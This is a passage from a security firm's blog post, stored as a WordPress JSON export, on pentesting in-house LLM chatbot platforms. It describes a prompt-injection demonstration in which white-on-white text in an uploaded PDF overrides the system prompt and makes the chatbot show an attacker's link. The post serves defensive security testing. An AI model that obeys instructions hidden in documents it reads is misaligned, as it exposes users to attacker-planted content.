{"id":63165,"date":"2026-01-09T13:13:51","date_gmt":"2026-01-09T12:13:51","guid":{"rendered":"https:\/\/www.usd.de\/?p=63165"},"modified":"2026-01-09T13:13:53","modified_gmt":"2026-01-09T12:13:53","slug":"ai-chatbots-pentests-vulnerabilites-llm-platforms","status":"publish","type":"post","link":"https:\/\/www.usd.de\/en\/ai-chatbots-pentests-vulnerabilites-llm-platforms\/","title":{"rendered":"Assessing the Security of AI Chatbots: Pentests Uncover Critical Vulnerabilities in LLM Platforms"},"content":{"rendered":"\n

Artificial intelligence<\/a> (AI) is transforming the business world. Large language model (LLM) platforms in particular are increasingly finding their way into companies across a wide range of industries. Many are choosing in-house hosted solutions to protect sensitive data and maintain control over their information. This ensures that internal data is not used as training material for public models such as ChatGPT or Gemini.<\/p>\n\n\n\n

However, as usage grows, so do security requirements. To meet these requirements, our security analysts at usd HeroLab<\/a> combine proven methods from web application pentesting<\/a> with in-depth expertise in LLM-based platforms. In recent months, they have thoroughly analyzed numerous platforms and identified recurring vulnerabilities.<\/p>\n\n\n\n

In this blog post, our colleagues Gerbert Roitburd and Florian Kimmes show which three classes of vulnerabilities they encountered most frequently, what risks these vulnerabilities pose, and explain their impact using real-world findings to illustrate how attackers can exploit them in practice.<\/p>\n\n\n\n

<\/div>\n\n\n\n

Prompt injections are among the most well-known vulnerabilities of LLM platforms<\/h2>\n\n\n\n

Prompt injections occur when user input is accepted into the system prompt or retrieval chain without being checked. This allows attackers to manipulate the model's original instructions either by adding to them or overwriting them completely. The result: the model performs actions that are neither intended nor desired. Our analysts regularly encounter this vulnerability in pentests. They were able to successfully demonstrate prompt injections in numerous LLM platforms. The following vulnerability demonstration illustrates the concrete effects of such manipulation:<\/p>\n\n\n\n

In a test system, users were allowed to upload documents whose content was then incorporated into the response generation. To demonstrate the vulnerability, our analysts prepared a PDF document with a malicious instruction in white text on a white background. This meant that the instruction was only visible to the LLM, but not to the users. Our PDF file looked like this:<\/p>\n\n\n\n

\"\"<\/a><\/figure>\n\n\n\n

The text extracted from the PDF was transferred to the system prompt after uploading, thereby overwriting the developer's instruction. As a result, the link actually appeared in the AI chatbot's responses. Injecting a malicious prompt allows attackers to do the following, for example:<\/p>\n\n\n\n